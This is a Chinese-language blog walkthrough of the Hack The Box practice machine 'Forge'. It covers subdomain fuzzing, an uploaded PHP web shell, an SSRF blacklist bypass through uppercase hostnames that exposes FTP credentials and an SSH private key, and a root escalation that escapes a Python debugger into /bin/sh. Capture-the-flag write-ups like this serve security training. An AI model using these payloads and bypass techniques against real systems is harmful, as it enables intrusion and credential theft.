• 【Hack The Box】Linux练习-- Forge


    HTB 学习笔记

    Hack The Box】Linux练习-- Forge


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月27日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
    |   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
    |_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
    80/tcp open  http    Apache httpd 2.4.41
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Did not follow redirect to http://forge.htb
    Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    nmap还注意到该站点返回重定向到 http://forge.htb.
    所以我将添加到hosts

    爆破域名

    wfuzz -u http://10.10.11.111 -H "Host: FUZZ.forge.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 26
    
    • 1

    鉴于域名的使用,我将开始使用子域的蛮力运行 wfuzz. 这 -H "Host: FUZZ.forge.htb"选项将尝试使用不同的主机标头,我可以查找任何与默认大小写不匹配的标头。 我将在没有过滤的情况下启动它,以了解默认情况。 字符数根据子域的长度而变化,但字数有很多26的,所以我将使用 --hw 26: 根据响应报文字数进行隐藏(hide word)

    唯一有趣的是 admin.forge.htb. 我会将域和子域都添加到 /etc/hosts.

    80

    在这里插入图片描述
    可以上传图片
    在这里插入图片描述
    上传期间我上传了一个PHP文件,没有验证,并且可以有链接,只不过我点开了那个php文件,似乎并没有解析
    对于这个现象,我抓包分析了一下

    HTTP/1.1 200 OK
    Date: Thu, 19 Aug 2021 22:30:14 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Disposition: inline; filename=28C0mwXLXZBu1BkVHClV
    Content-Length: 44
    Last-Modified: Thu, 19 Aug 2021 22:30:13 GMT
    Cache-Control: no-cache
    Connection: close
    Content-Type: image/jpg
    
    <?php echo shell_exec($_REQUEST["cmd"]); ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    后门代码被当作文本传输,不被解析

    于是我尝试第二个上传模式
    在这里插入图片描述我将在本地开启一个python服务器,然后试图远程请求
    看返回信息,一切正常
    在这里插入图片描述而如果我们换成对80端口的监听nc,我们就会收到来自服务器的请求
    是一个python2 服务器,具体版本不知道
    但是比较常见的有python服务器有flask等一些
    在这里插入图片描述

    目录爆破

    目录爆破没有任何结果

    admin.forge.htb

    网站提示只有localhost可以访问

    看到这里,我们应该有所警示
    SSRF 中,攻击者可能会导致服务器连接到仅限内部的服务。
    也许我们应该使用ssrf攻击,并且仅限于连接到内部的网页并没有上一个靶场那样的302跳转,要是用ssrf,我们必须知道一些服务器的信息,我们目前猜测服务器是python2版本的某一种服务器,这不确定,为了防止我们掉进兔子洞,应该把这种盲猜的办法最后进行

    现在大部分的精力应该放在如何利用url上传上
    我将在url上传框输入刚才需要我们本地登陆的子域名(因为这是同一台服务器,所以能绕过本地的验证)
    额,黑名单,看到这里其实心里更有谱了,此地无银三百两
    所以我们把那个只允许内部访问的域名放到这里来上传,他就会把这个目录的内容上传,而这是我们curl访问完整的他给出的上传成功的目录,就可以间接地看到网站全貌
    在这里插入图片描述

    域名验证黑名单绕过

    我们将admin.forge.htb全部换成大写去绕过
    在这里插入图片描述
    浏览器直接访问依旧是错误,我们用curl不带任何参数访问

    <!DOCTYPE html>
    <html>
    <head>
        <title>Admin Portal</title>
    </head>
    <body>
        <link rel="stylesheet" type="text/css" href="/static/css/main.css">
        <header>
                <nav>
                    <h1 class=""><a href="/">Portal home</a></h1>
                    <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                    <h1 class="align-right"><a href="/upload">Upload image</a></h1>
                </nav>
        </header>
        <br><br><br><br>
        <br><br><br><br>
        <center><h1>Welcome Admins!</h1></center>
    </body>
    </html>   
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    里面暴露出了一个新的目录
    /announcements
    再次上传
    http://admin.forge.htb/announcements

    <!DOCTYPE html>
    <html>
    <head>
        <title>Announcements</title>
    </head>
    <body>
        <link rel="stylesheet" type="text/css" href="/static/css/main.css">
        <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
        <header>
                <nav>
                    <h1 class=""><a href="/">Portal home</a></h1>
                    <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                    <h1 class="align-right"><a href="/upload">Upload image</a></h1>
                </nav>
        </header>
        <br><br><br>
        <ul>
            <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
            <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
            <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
        </ul>
    </body>
    </html> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    在这里插入图片描述
    获得了一组凭据

    user:heightofsecurity123!
    
    • 1

    还告诉你了一种上传方法,并且支持从ftp上传
    语法如下
    ?u=
    那目前的思路就是从他的ftp直接传出来,然后我们查看
    但我说实话他给的这个方法真没看懂
    最后实验出来了

    http://ADMIN.FORGE.HTB/u?=ftp://user:heightofsecurity123!@127.0.0.1
    
    • 1

    我们同样利用curl来访问上传成功的路径
    在这里插入图片描述
    发现我们可以直接从ftp发现私钥,在枚举了snap文件夹之后,我决定尝试看能不能访问到私钥,因为一般来说user.txt都是在/home/user中,而.ssh也在这个文件夹中

    接下来上传这个url

    http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id_rsa
    
    • 1

    在这里插入图片描述复制到本id_rsa之后赋权600连接ssh

    在这里插入图片描述第一件事永远都是
    sudo -l

    user@forge:~$ sudo -l
    Matching Defaults entries for user on forge:
        env_reset, mail_badpass,
        secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User user may run the following commands on forge:
        (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    又是一个脚本文件
    查看一下

    !/usr/bin/env python3
    import socket
    import random
    import subprocess
    import pdb
    
    port = random.randint(1025, 65535)
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.bind(('127.0.0.1', port))
        sock.listen(1)
        print(f'Listening on localhost:{port}')
        (clientsock, addr) = sock.accept()
        clientsock.send(b'Enter the secret passsword: ')
        if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
            clientsock.send(b'Wrong password!\n')
        else:
            clientsock.send(b'Welcome admin!\n')
            while True:
                clientsock.send(b'\nWhat do you wanna do: \n')
                clientsock.send(b'[1] View processes\n')
                clientsock.send(b'[2] View free memory\n')
                clientsock.send(b'[3] View listening sockets\n')
                clientsock.send(b'[4] Quit\n')
                option = int(clientsock.recv(1024).strip())
                if option == 1:
                    clientsock.send(subprocess.getoutput('ps aux').encode())
                elif option == 2:
                    clientsock.send(subprocess.getoutput('df').encode())
                elif option == 3:
                    clientsock.send(subprocess.getoutput('ss -lnt').encode())
                elif option == 4:
                    clientsock.send(b'Bye\n')
                    break
    except Exception as e:
        print(e)
        pdb.post_mortem(e.__traceback__)
    finally:
        quit()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42

    decode() != secretadminpassword
    这是一个小程序,四个选项,可以查看日志,进程,还有跟你说拜拜
    并且需要验证密码是否为上面的那个
    检查文件,我们只能读,当然这是正常的

    具体的信息我将执行一下这个程序
    发现他显示监听这个随机端口
    在这里插入图片描述再开一个ssh端口去nc这个服务

    在这里插入图片描述当我输入错误的密码回立即断开
    并且服务终止

    在这里插入图片描述
    我现在输入正确的密码,在接下来的选项中胡乱输入
    看看能有啥问题

    在这里插入图片描述
    当我输入dashabi的时候,发现他进入了pdb的调试器
    直接输入这个即可
    gifio中可查询

    import os;os.system(/bin/sh”)
    
    • 1

    在这里插入图片描述

    关于ssrf的拓展

    我知道这是一个 Python 脚本,它正在处理我的输入、做出过滤决定,然后使用 requests模块发出 HTTP 请求。 默认情况下,请求模块将遵循 HTTP 重定向,除非调用该函数 allow_redirects=False.

    这是在我们发现nc端口接收到的web请求是来自一个python2服务器的时候知道的
    由于如果我们输入的url是我们的本地一个文件,并且本地文件要重定向到黑名单,而这个时候url过滤器已经在第一次向我们发出请求的时候通过了,所以再重定向就不存在黑名单了

    由于他是pythin2服务器,所以我假设他是flask

    我将写一个flask服务器文件

    #!/usr/bin/env python
    
    from flask import Flask, redirect, request
    
    app = Flask(__name__)
    
    @app.route("/")
    def admin():
        return redirect('http://admin.forge.htb/')
    
    
    if __name__ == "__main__":
        app.run(debug=True, host="0.0.0.0", port=80)    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    这个服务器会要求重定向到http://admin.forge.htb/
    这里有点问题,我的flask服务器起不来了
    如果有知道的大佬请指点
    谢谢🙏

  • 相关阅读:
    Flutter 7 个开源项目推荐 01
    使用 fflush强制刷新缓冲区将数据写入文件的原理
    go gorm select * 优化
    【计算思维题】少儿编程 蓝桥杯青少组计算思维 数学逻辑思维真题详细解析第8套
    Java 8 新特性——Lambda 表达式(2)
    Linux命令(87)之pwd
    Pyspark读写csv,txt,json,xlsx,xml,avro等文件
    Android 弹幕功能实现
    力扣 428. 序列化和反序列化 N 叉树 DFS
    数仓4.0
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/128028658